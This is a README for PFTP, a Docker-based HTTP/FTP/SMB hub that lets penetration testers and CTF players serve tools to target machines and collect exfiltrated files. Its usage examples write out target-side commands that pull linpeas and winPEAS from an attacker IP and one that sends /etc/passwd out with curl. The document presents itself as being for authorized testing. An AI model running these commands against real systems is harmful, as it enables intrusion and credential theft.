A lightweight, multi-protocol file transfer hub for penetration testers, ethical hackers, and CTF players. PFTP serves tools and receives exfiltrated data over HTTP, FTP, and SMB simultaneously with a web UI for browsing, uploading, and generating download commands.
- Multi-Protocol: HTTP, FTP, and SMB servers running simultaneously
- Web UI: Browse tools, upload files, and copy download commands with one click
- Command Generation: PowerShell, wget, curl, bitsadmin, and base64-encoded commands
- Network Detection: Auto-detects interfaces
- File Upload/Exfiltration: Receive files via web UI or command line
- Live Activity Logs: Real-time monitoring of downloads and uploads
- Authentication: Optional auth across all protocols
- CLI Management: Simple commands to install, configure, and manage
- Docker-Based: Consistent environment, one-command deployment
Prerequisites:
- Python 3.8+
- Docker
Install with pip:
pip install pftpOr with pipx (recommended):
pipx install pftpInstall and configure PFTP with the interactive wizard:
pftp installThe wizard will guide you through:
- Directory configuration
- Protocol selection (HTTP, FTP, SMB)
- Authentication settings
- Docker restart policy
After installation, the server starts automatically.
Add single files:
pftp add-tool ~/tools/linpeas.shAdd files with categorization:
pftp add-tool ~/tools/linpeas.sh --category linux
pftp add-tool ~/tools/winPEAS.exe --category windowsAdd directories recursively:
pftp add-tool ~/tools/windows-tools/ --recursive --category windowsOnce running, access the web UI at http://<your-ip>:1234:
- Tools Tab: Browse tools hierarchically, search, and copy platform-specific download commands
- Upload Tab: Receive files via drag-and-drop or browse upload, with source IP tracking
- Activity Log: Live feed of all downloads and uploads
On your attack machine:
pftp install
pftp add-tool ~/tools/linpeas.sh --category linux
pftp add-tool ~/tools/winPEAS.exe --category windows
# Server starts automatically after installOn target (Linux):
wget http://10.10.14.5:1234/tools/linux/linpeas.sh -O linpeas.shOn target (Windows PowerShell):
IWR -Uri "http://10.10.14.5:1234/tools/windows/winPEAS.exe" -OutFile "winPEAS.exe"Upload from target:
curl -F "file=@/etc/passwd" http://10.10.14.5:1234/uploadFTP access:
ftp 10.10.14.5SMB access (Windows):
net use \\10.10.14.5\tools
copy \\10.10.14.5\tools\windows\winPEAS.exe .| Command | Description |
|---|---|
pftp install |
Install and configure PFTP (interactive wizard) |
pftp start |
Start the server |
pftp stop |
Stop the server |
pftp restart |
Restart the server |
pftp status |
Show server status and configuration |
pftp configure |
Reconfigure settings (interactive or via flags) |
pftp add-tool <path> |
Add files/directories to tools |
pftp logs |
View server logs (live by default) |
pftp update |
Update to latest version |
pftp remove |
Uninstall PFTP |
pftp version |
Show version information |
All options can be passed as flags for scripting:
pftp install --yes --http-port 8080 --enable-ftp --disable-smb
pftp configure --auth --auth-username admin --auth-password secret
pftp configure --restart-policy alwayspftp add-tool <file> # Add single file
pftp add-tool <file> --category linux # Add to subdirectory
pftp add-tool <dir> --recursive # Add directory recursivelyConfiguration is stored in ~/.pftp/config/config.yaml and managed via the CLI.
| Protocol | Default Port | Purpose |
|---|---|---|
| HTTP | 1234 | Web UI, file download/upload, command generation |
| FTP | 21 | Anonymous FTP access to tools |
| SMB | 445 | Windows-native file sharing |
Enable/disable protocols individually:
pftp configure --enable-ftp --disable-smbOptional authentication protects the web UI and download endpoints. The upload endpoint remains open so targets can upload files without credentials.
pftp configure --auth --auth-username admin --auth-password mysecretWhen enabled, the web UI includes credentials in generated download commands automatically.
Configure automatic restart behavior:
pftp configure --restart-policy alwaysOptions: no, always, unless-stopped (default), on-failure
~/.pftp/
├── config/
│ └── config.yaml # Configuration
├── tools/ # Your pentest tools
│ ├── linux/
│ ├── windows/
│ └── exploits/
└── uploads/ # Received files from targets
- Authorized use only - designed for penetration testing, CTF, and lab environments
- Not for production - this is a testing tool
- HTTP only - traffic is unencrypted, use on VPN or isolated networks
- Upload endpoint is open - intentionally unauthenticated so targets can upload
MIT License - see LICENSE for details.
Ahmad Alawneh
GitHub: AhmadAlawneh3/PFTP
Docker Hub: ahmadalawneh3/pftp